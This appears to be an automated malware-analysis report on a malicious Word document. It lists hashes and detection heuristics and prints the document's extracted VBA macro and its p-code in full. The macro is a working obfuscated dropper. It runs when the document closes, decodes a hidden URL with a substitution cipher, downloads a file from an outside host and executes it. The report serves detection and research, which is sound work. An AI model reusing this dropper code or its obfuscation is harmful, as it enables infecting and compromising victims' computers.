Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 9ac423c1c4183e06…

MALICIOUS

Office (OLE) / .DOC

152.7 KB Created: 2025-12-01 02:37:00 Authoring application: Microsoft Office Word First seen: 2026-06-14
MD5: 2214f360babfd9a9cf5c2eb1e5a80428 SHA-1: 1f36e2269058c8ba88899da7d09e3fd23d54594b SHA-256: 9ac423c1c4183e06af902f812f6b2d4ebd10bd32caaa4d98eb0d577ad0661558
242 Risk Score

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    fbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPs = vgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkk.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15870 bytes
SHA-256: f388a256cda8121cb35dc37f0992c161e6a1915dd1b5c675e54d6271a9ac73ca
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Dim lIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdS As Integer
lIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdS = Chr(50) + Chr(48) + Chr(48)
  Dim WshShell As Object
    Dim wSpecialPathui As String

    Set WshShell = CreateObject("WScript.Shell")
    wSpecialPathui = WshShell.SpecialFolders("Templates")
Dim efLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZ
Dim fbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPs
Dim BYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkkLThIcHgxXxICUEbKVcXjAOWXiFAefLSltjOJKINzFMeED
Dim SwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWz
Dim FXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCi
Dim TJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVo As Integer
Dim vgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkk
Dim dUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmE
TJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVo = 1




Set vgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkk = CreateObject("microsoft.xmlhttp")
Set FXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCi = CreateObject("Shell.Application")

SwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWz = wSpecialPathui + ckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeC("\ZJ¥åÚZÚ§.ÂÛÂ")
vgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkk.Open "get", ckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeC("hÖÖÓ://ÓÂÀÁÂzÒÅÂÃlÒw.ÜdÅÕ.ÂÙ/mbÄÅÄgbÀÂÖ/ÕwÒÅdbdb.ÂÛÂ"), False
vgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkk.send
fbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPs = vgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkk.responseBody
If vgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkk.Status = 200 Then
Set efLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZ = CreateObject("adodb.stream")
efLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZ.Open
efLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZ.Type = TJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVo
efLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZ.Write fbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPs
efLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZ.SaveToFile SwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWz, TJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVo + TJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVo
efLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZ.Close
End If
FXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCi.Open (SwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWz)
End Sub

    Public Function ckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeC(IEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZ)
        EROxKkkLThIcHgxXxICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQR = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        npyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRB = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(IEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZ)
            kmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkkLThIcHgxXx = InStr(EROxKkkLThIcHgxXxICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQR, Mid(IEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZ, i, 1))
            If kmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkkLThIcHgxXx > 0 Then
                ICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuU = Mid(npyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRB, kmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkkLThIcHgxXx, 1)
                GVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhH = GVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhH + ICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuU
            Else
                GVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhH = GVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhH + Mid(IEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZ, i, 1)
            End If
        Next
        ckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeC = GVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhH
    End Function

' Processing file: /opt/analyzer/scan_staging/6eaa49b7ab894503a3c061ff182a5af6.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5192 bytes
' Line #0:
' 	FuncDefn (Private Sub cSpecialPathjhbkvhj())
' Line #1:
' 	Dim 
' 	VarDefn SwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWz (As Integer)
' Line #2:
' 	LitDI2 0x0032 
' 	ArgsLd SpecialFolders 0x0001 
' 	LitDI2 0x0030 
' 	ArgsLd SpecialFolders 0x0001 
' 	Add 
' 	LitDI2 0x0030 
' 	ArgsLd SpecialFolders 0x0001 
' 	Add 
' 	St SwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWz 
' Line #3:
' 	Dim 
' 	VarDefn ¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤«¬¿¥§·«´·µ»½©´µ»¯½°¹ª²½ (As Object)
' Line #4:
' 	Dim 
' 	VarDefn id_0484 (As String)
' Line #5:
' Line #6:
' 	SetStmt 
' 	LitStr 0x000D "WScript.Shell"
' 	ArgsLd ¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ¬¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸² 0x0001 
' 	Set ¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤«¬¿¥§·«´·µ»½©´µ»¯½°¹ª²½ 
' Line #7:
' 	LitStr 0x0009 "Templates"
' 	Ld ¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤«¬¿¥§·«´·µ»½©´µ»¯½°¹ª²½ 
' 	ArgsMemLd µ¼º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ¬¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º 0x0001 
' 	St id_0484 
' Line #8:
' 	Dim 
' 	VarDefn FXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCi
' Line #9:
' 	Dim 
' 	VarDefn TJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVo
' Line #10:
' 	Dim 
' 	VarDefn vgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkk
' Line #11:
' 	Dim 
' 	VarDefn dUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmE
' Line #12:
' 	Dim 
' 	VarDefn ckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeC
' Line #13:
' 	Dim 
' 	VarDefn IEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZ (As Integer)
' Line #14:
' 	Dim 
' 	VarDefn EROxKkkLThIcHgxXxICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQR
' Line #15:
' 	Dim 
' 	VarDefn npyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRB
' Line #16:
' 	LitDI2 0x0001 
' 	St IEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZ 
' Line #17:
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' 	SetStmt 
' 	LitStr 0x0011 "microsoft.xmlhttp"
' 	ArgsLd ¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ¬¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸² 0x0001 
' 	Set EROxKkkLThIcHgxXxICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQR 
' Line #22:
' 	SetStmt 
' 	LitStr 0x0011 "Shell.Application"
' 	ArgsLd ¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ¬¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸² 0x0001 
' 	Set ckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeC 
' Line #23:
' Line #24:
' 	Ld id_0484 
' 	LitStr 0x000D "\ZJ¥åÚZÚ§.ÂÛÂ"
' 	ArgsLd kmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkkLThIcHgxXx 0x0001 
' 	Add 
' 	St dUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmE 
' Line #25:
' 	LitStr 0x0003 "get"
' 	LitStr 0x0034 "hÖÖÓ://ÓÂÀÁÂzÒÅÂÃlÒw.ÜdÅÕ.ÂÙ/mbÄÅÄgbÀÂÖ/ÕwÒÅdbdb.ÂÛÂ"
' 	ArgsLd kmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkkLThIcHgxXx 0x0001 
' 	LitVarSpecial (False)
' 	Ld EROxKkkLThIcHgxXxICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQR 
' 	ArgsMemCall Open 0x0003 
' Line #26:
' 	Ld EROxKkkLThIcHgxXxICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQR 
' 	ArgsMemCall ¨²¾·¼¥¨º»¡»¾«½°¶·¶¹¨¥¡®¥¦´¶¸³®¥©¼²´¿²µ¼º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸ 0x0000 
' Line #27:
' 	Ld EROxKkkLThIcHgxXxICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQR 
' 	MemLd ¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤«¬¿¥§·«´·µ»½©´µ»¯½°¹ª²½º´©¤£¤¢ 
' 	St TJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVo 
' Line #28:
' 	Ld EROxKkkLThIcHgxXxICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQR 
' 	MemLd ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°¶·¶¹¨¥¡®¥¦´¶¸³®¥©¼²´¿²µ¼º°¸§§ 
' 	LitDI2 0x00C8 
' 	Eq 
' 	IfBlock 
' Line #29:
' 	SetStmt 
' 	LitStr 0x000C "adodb.stream"
' 	ArgsLd ¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ¬¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸² 0x0001 
' 	Set FXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCi 
' Line #30:
' 	Ld FXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCi 
' 	ArgsMemCall Open 0x0000 
' Line #31:
' 	Ld IEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZ 
' 	Ld FXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCi 
' 	MemSt Type 
' Line #32:
' 	Ld TJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVo 
' 	Ld FXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCi 
' 	ArgsMemCall Xor 0x0001 
' Line #33:
' 	Ld dUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmE 
' 	Ld IEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZ 
' 	Ld IEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZ 
' 	Add 
' 	Ld FXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCi 
' 	ArgsMemCall i 0x0002 
' Line #34:
' 	Ld FXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCi 
' 	ArgsMemCall Close 0x0000 
' Line #35:
' 	EndIfBlock 
' Line #36:
' 	Ld dUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhHhsmE 
' 	Paren 
' 	Ld ckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuUGVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeC 
' 	ArgsMemCall Open 0x0001 
' Line #37:
' 	EndSub 
' Line #38:
' Line #39:
' 	FuncDefn (Public Function kmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkkLThIcHgxXx(ICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuU, id_FFFE As Variant))
' Line #40:
' 	LitStr 0x006E " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
' 	St GVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhH 
' Line #41:
' 	LitStr 0x006E " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
' 	St wSpecialPathui 
' Line #42:
' 	StartForVariable 
' 	Ld Document 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuU 
' 	FnLen 
' 	For 
' Line #43:
' 	Ld GVZdUtWBlhVqgWlveeQDfBNcJbMQqfcVolIeCIEQTiDFOYSwMfzSMCirrqvgYgKXWnqtlJYRBkmGjnBLhuhTvRPsZrdhH 
' 	Ld ICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuU 
' 	Ld Document 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	FnInStr 
' 	St id_047E 
' Line #44:
' 	Ld id_047E 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #45:
' 	Ld wSpecialPathui 
' 	Ld id_047E 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	St id_0480 
' Line #46:
' 	Ld id_0482 
' 	Ld id_0480 
' 	Add 
' 	St id_0482 
' Line #47:
' 	ElseBlock 
' Line #48:
' 	Ld id_0482 
' 	Ld ICUEbKVcXjAOWXiFAefLSltjOJKINzFMeEDTJMDdFljQFZPGUfNNAAckxYtXwNZOLFXUrbmsozQRnpyVCgwdjCKzfbbYePIPuU 
' 	Ld Document 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	St id_0482 
' Line #49:
' 	EndIfBlock 
' Line #50:
' 	StartForVariable 
' 	Next 
' Line #51:
' 	Ld id_0482 
' 	St kmGjnBLhuhTvRPsZrdhHhsmEBYuSLHSkyTHRpkNOvPUdSyHHGLipwbonDGJBZpiRACWzEROxKkkLThIcHgxXx 
' Line #52:
' 	EndFunc

Open this report in the interactive analyzer, or submit your own file for analysis.